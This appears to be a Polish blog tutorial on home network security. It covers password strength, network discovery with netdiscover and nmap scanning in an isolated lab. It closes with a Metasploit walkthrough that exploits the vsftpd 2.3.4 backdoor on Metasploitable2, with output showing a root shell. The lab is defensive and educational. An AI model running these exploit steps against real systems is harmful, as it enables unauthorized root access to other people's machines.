Sieć domowa z jakiej korzystamy na co dzień powinna być dla nas czymś ważnym pod względem bezpieczeństwa. To ona jest pierwsza, z czym spotykają się nasze urządzenia, łączące się z internetem. Dlatego bardzo istotne jest zadbanie o bezpieczeństwo sieci. Jednak jak to zrobić i jak to rozumieć, jest sieć i co?
Ostatni webinar w tym roku!
Zapraszamy na bezpłatny webinar poświęcony roli sztucznej inteligencji w zarządzaniu infrastrukturą IT, zarówno w dużych serwerowniach, jak i w środowiskach homelab.
W trakcie wydarzenia dowiesz się, jak AI może wspierać codzienną pracę administratora, pomagając w automatyzacji procesów, monitorowaniu zasobów, analizie danych oraz zwiększaniu efektywności operacyjnej.
Zapisy na: https://asdevops.pl/warsztaty/
Bezpieczeństwo sieci – po pierwsze hasło!
Otóż podstawowym zabezpieczeniem jest hasło. Jeżeli nie korzystasz ze skomplikowanego hasła do sieci, to może zostać ono dość szybko złamane. Osoba będąca w sieci może korzystać z różnorodnych sposobów, rozpoczynając od przechwytywania informacji, po uzyskanie dostępu do twojego urządzenia. Nikt z nas tego by nie chciał. Wiesz już, że posiadanie możliwości podłączenia urządzenia do sieci w sposób bezprzewodowy jest bardzo pożyteczną funkcją. Jednak dzięki tej funkcji jesteś narażony na to, że ktoś niepowołany złamie twoje hasło i uzyska do niej dostęp. I jest problem z bezpieczeństwem sieci.
O tym, że hasła 123, admin i inne są za proste wiesz już. Natomiast w sieciach WPA2, które obecnie najczęściej są stosowane, wymagane jest hasło o minimalnej długości 8 znaków. W tym miejscu ludzie najczęściej popełniają pierwszy błąd. Jeżeli hakerowi uda się uzyskać plik handshake, w którym znajduje się zaszyfrowane hasło, to pierwsze co robi po sprawdzeniu domyślnych słowników to próba jego złamania przy pomocy generowanej automatycznie listy ciągów znaków. Listę ustawia w taki sposób, by posiadała maksymalnie 8 znaków. W ten sposób jest mniejsza liczba możliwości, dzięki czemu szybciej można złamać hasło.
Jeżeli chodzi o wspomniany przed chwilą plik handshake. Każdy będący w zasięgu twojej sieci, nie posiadając do niej hasła, jest w stanie taki plik uzyskać. Oczywiście jeżeli posiada podstawowe umiejętności korzystania z oprogramowania i odpowiedni adapter bezprzewodowy. Jednak wierz mi na słowo, nie jest to takie trudne, a sam adapter nie jest kosztowny. Nawet dziecko jest w stanie opanować te kilka prostych komend.
Dlatego jeżeli chcesz czuć się bezpieczniej, stwórz dla swojej sieci skomplikowane hasło posiadające więcej niż 8 znaków. Utrudnisz w ten sposób osobom niepowołanym dostęp do twojej sieci. Jednak wiedz, że nie istnieje zabezpieczenie idealne. Dlatego, aby zadbać o bezpieczeństwo we własnej sieci, należy zmieniać co jakiś czas hasło, jak i również wykonywać skanowania bezpieczeństwa, zarówno sieci jak i urządzeń korzystających z niej.
Po drugie skanowanie sieci!
Skanowanie sieci, a skanowanie urządzeń w sieci różni się znacznie od siebie. W tej części artykułu zajmiemy się skanowaniem sieci, a nie poszczególnych urządzeń znajdujących się w niej. Skanowanie jest drugim elementem, które może pomóc w poprawieniu bezpieczeństwa. Najprostszym narzędziem do tego celu jest program netdiscover. W systemie Debian nie jest standardowo zainstalowany. Dlatego instalujemy go przy pomocy polecenia:
sudo apt install netdiscover
Nim przejdziemy do samego skanowania musimy poznać pod jakim adresem IP urządzenia w naszej sieci występują. Ja osobiście wykorzystuję do tego celu ifconfig. Nie jest ono zainstalowane standardowo w większości dystrybucji. Aby móc z niego korzystać musimy doinstalować paczkę:
sudo apt install net-tools
Aby poznać adres IP pod jakim występuje nasze urządzenie, korzystamy z polecenia w następujący sposób:
sudo ifconfig
Odnajdujemy interfejs sieciowy z którego korzystamy i pod etykietą intet odnajdujemy adres IP pod jakim występujemy w sieci:
inet 192.168.0.11
Jest to wewnętrzny adres IP. Na zewnątrz jest on zupełnie inny. Znając podstawowe zasady sieci wiem, że moja zaczyna się od 192.168.0.0 do 192.168.0.254. Aby przeskanować ją całą posługuje się programem netdiscover w następujący sposób:
sudo netdiscover -r 192.168.0.0/24
Polecenie wypisze wszystkie podłączone urządzenia w sieci. Natomiast /24 jest to zakres jaki obecnie najczęściej występuje w sieciach domowych. Na liście znajdują się urządzenia, które posiadają przypisane adresy IP w pierwszej kolumnie oraz adresy MAC. Dwa razy ten sam adres IP w jednej sieci nie może wystąpić. Natomiast jeżeli na liście występuje dwa razy ten sam adres MAC oznacza to, że ktoś węszy w twojej sieci.
Napotkanie dwa razy tego samego adresu MAC niezupełnie musi oznaczać, że ktoś dostał się do niej. Po wyłączeniu routera lub urządzenia dzięki któremu jesteś podłączony do sieci, zapytaj użytkowników czy ktoś się po prostu nie bawi.
Jak się przed tym zabezpieczyć?
Otóż przed użytkownikami, którzy muszą mieć ten dostęp ciężko jest się zabezpieczyć. Choć istnieje ogólny sposób zwany VPN. Oczywiście można napisać własny skrypt, który będzie wykrywał zdarzenie występowania dwóch tych samych adresów MAC lub poszukać takiego w internecie. Jednak podstawowym zabezpieczeniem przed wtargnięciem do sieci jest stworzenie odpowiednio trudnego hasła do złamania.
Po trzecie skanowanie urządzeń w sieci!
Aby intruz będący w sieci mógł uzyskać dostęp do urządzenia musi skorzystać z jakiejś luki systemowej lub luki w zainstalowanym oprogramowaniu. Oczywiście, o ile nie mamy skonfigurowanej jakiejś komunikacji między urządzeniami. Dlatego trzecim bardzo istotnym elementem jest skanowanie wszystkich urządzeń znajdujących się w sieci. Do tego służy bardzo znane narzędzie NMAP.
Środowisko z urządzeniami
Jednak zanim z niego skorzystamy, aby pokazać jak wygląda skanowanie i jakie wyniki możesz uzyskać, postanowiłem skorzystać z VirtualBox. W nim znajdować się będą trzy maszyny wirtualne. Pierwsza z nich to system, z którego będę wykonywał skanowanie. W związku z tym, że osoba włamująca się najczęściej korzysta z rozwiązania dystrybucyjnego dostosowanego do tego celu, użyję Kali Linux. Drugim narzędziem będzie system Windows, a trzecim Metasploitable2. Jeżeli chodzi o system Windows to wydaje mi się że nie trzeba nic tłumaczyć. Natomiast w przypadku Metasploitable2, jest to obraz systemu bazujący na Ubuntu posiadający ogromną ilość luk systemowych. Powinien być uruchamiany w środowisku odseparowanym od głównego systemu oraz sieci. Dlatego my stworzymy własną sieć NAT do której dodamy trzy wspomniane systemy.
W ramach wyjaśnień, korzystam z Metasploitable2 po to by pokazać, jak to wszystko wygląda. Niestety tak obszernej listy nie byłbym w stanie uzyskać przy skanowaniu własnej sieci czy też świeżo zainstalowanego systemu Linux czy też Windows.
Miejsca skąd możesz pobrać wymienione obrazy
Jeżeli chcesz wykonać skanowania w identyczny sposób jak ja to robię, musisz pobrać odpowiednie obrazy. Poniżej podaję adresy stron z których możesz to zrobić:
- Kali Linux: https://www.kali.org/get-kali/#kali-virtual-machines
- Windows: https://developer.microsoft.com/en-US/microsoft-edge/tools/vms/
- Metasploitable2: https://sourceforge.net/projects/metasploitable/
Jednak pamiętaj, że Metasploitable2 musi być dodany do sieci NAT przed uruchomieniem. Nie uruchamiaj bez wcześniejszej jej konfiguracji!
Podstawowe skanowanie
Teraz chciałbym pokazać najprostsze skanowanie dostępne w NMAP. Jeżeli korzystasz z innej dystrybucji niż ja to wystarczy, że przy pomocy dostępnego menadżera pakietów zainstalujesz pakiet o nazwie nmap.
Aby przeskanować całą sieć posłużymy się poleceniem:
nmap 10.0.2.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 01:48 EST
Nmap scan report for 10.0.2.1
Host is up (0.00050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
Nmap scan report for 10.0.2.2
Host is up (0.00023s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
25/tcp open smtp
631/tcp open ipp
1000/tcp open cadlock
9050/tcp open tor-socks
Nmap scan report for 10.0.2.4
Host is up (0.00022s latency).
All 1000 scanned ports on 10.0.2.4 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 10.0.2.8
Host is up (0.00052s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
Nmap scan report for 10.0.2.15
Host is up (0.00024s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.07 seconds
Program wypisał wszystkie otwarte porty na podłączonych urządzeniach. W ramach wyjaśnienia adres IP 10.0.2.8 – jest to Metasploitable2, 10.0.2.15 jest to system Windows. Aby w wynikach tego skanowania został wyświetlony system Windows musisz wyłączyć firewall. Dlatego, jak widzisz automatycznie uruchamiane wbudowane zabezpieczenie systemu Windows działa właściwie! Blokuje możliwość takiego skanowania co jest bardzo pozytywną informacją.
W tym materiale chcę pokazać kilka możliwości, dlatego wyłączyłem firewall w systemie Windows. W ten sposób dostałeś informację o czterech otwartych portach. Choć to polecenie wyświetla dużo informacji to jednak nie są one aż tak interesujące. Oczywiście, jeżeli widzisz urządzenie w swojej sieci, które ma tyle otwartych portów co w Metasploitable2 oznacza to, że coś jest nie tak.
Pojedyncze skanowanie
Po przeskanowaniu całej sieci, gdy coś w otwartych portach danego urządzenia nas zaciekawi, warto się temu bliżej przyjrzeć. Jak już wiesz, które urządzenie chcesz przeskanować wystarczy, że po nmap podasz jego adres bez określenia zakresu.
nmap 10.0.2.8
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 02:07 EST
Nmap scan report for 10.0.2.8
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
Wyświetlone zostaną wyniki tylko tego urządzenia do którego przypisany jest wskazany adres IP. Teraz zobaczmy co możemy zrobić wiedząc o takiej ilości otwartych portach.
Skanowanie z określeniem wersji
Choć wynik przedstawia jedynie informacje o otwartych portach, to jednak poprzez ilość wyświetlonych wyników zwraca naszą uwagę. W związku z powyższym wykonajmy bardziej szczegółowe skanowanie na danym adresie IP:
sudo nmap 10.0.2.8 -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 02:18 EST
Nmap scan report for 10.0.2.8
Host is up (0.000069s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:E7:A8:A2 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
zsh: segmentation fault sudo nmap 10.0.2.8 -sV
Przy pomocy wykonanego w ten sposób skanowania uzyskaliśmy dodatkową informację o wersji prawie każdej z dostępnych usług. Zwróć też uwagę, że na samym dole otrzymałeś informację o systemie jaki jest używany na skanowanym urządzeniu.
Co zrobić z otrzymanym wynikiem
Rozwiązań jest kilka.
Oczywiście format!
Dobra, żartuje.
Możesz skorzystać ze skanera wykrywania podatności jak na przykład Greenbone Vulnerability Manager Comunity Edition (https://greenbone.github.io/docs/latest/) lub poszukać informacji w internecie z użyciem wyszukiwarki google, duckduckgo. Dzięki skanerowi będziesz dokładnie wiedział, w czym jest problem. Natomiast korzystając z ręcznego sposobu również do tego dojdziesz, ale trochę okrężną drogą.
Wykorzystanie Luki
Jak wspomniałem na samym początku tego materiału, Metasploitable2 posiada cały zestaw luk. Jest on dla osób chcących uczyć się z zakresu etycznego hakingu. Wykorzystałem tę maszynę wirtualną w celu pokazania co się może stać jak zainstalujemy takie oprogramowanie w naszym systemie. Niektórym może się zdawać, że jak nie posiadają zewnętrznego adresu IP to są bezpieczni. Jest to jak najbardziej błędne sformułowanie. Aby tego dowieść uzyskując dostęp do sieci chcę pokazać w jaki sposób dostać się do urządzenia które ma uruchomioną usługę vsftpd 2.3.4.
Użyjemy do tego programu metasploit, którego autorem jest ta sama firma co Metasploitable2. W systemie Kali Linux instaluje się on automatycznie. Korzystamy z niego wpisując w konsoli:
sudo msfconsole
Następnie po uruchomieniu programu wpisujemy:
use exploit/unix/ftp/vsftpd_234_backdoor
Ustawiamy cel, czyli wprowadzamy adres IP urządzenia na którym wskazana usługa występuje:
set RHOST 10.0.2.8
I na samym końcu uruchamiamy naszego exploita:
exploit
Po wprowadzeniu tego polecenia powinieneś nawiązać połączenie:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.0.2.8:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.8:21 - USER: 331 Please specify the password.
[+] 10.0.2.8:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.8:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:32799 -> 10.0.2.8:6200) at 2022-11-16 03:22:05 -0500
W ten sposób masz dostęp do konsoli jako użytkownik root. Chyba nie muszę nikogo uświadamiać co to oznacza.
Podsumowanie – bezpieczeństwo sieci
Dbanie o bezpieczeństwo każdego z urządzeń korzystających z sieci jest bardzo ważnym zadaniem jeżeli chcemy czuć się bezpieczniej. Nie powinieneś dbać tylko o swój komputer tylko również o inne urządzenia, które podłączają się do twojej sieci. Tylko w ten sposób możesz zapewnić bezpieczeństwo sieci. Choć możesz zachować wszelkie środki ostrożności to jednak może okazać się, że któryś z użytkowników nie będzie o tym nawet myślał. To wszystko zależy teraz do Ciebie. W tym artykule poznałeś podstawowe narzędzia które mogą w tym pomóc. Polecam zapoznać się bardziej szczegółowo z każdym z nich.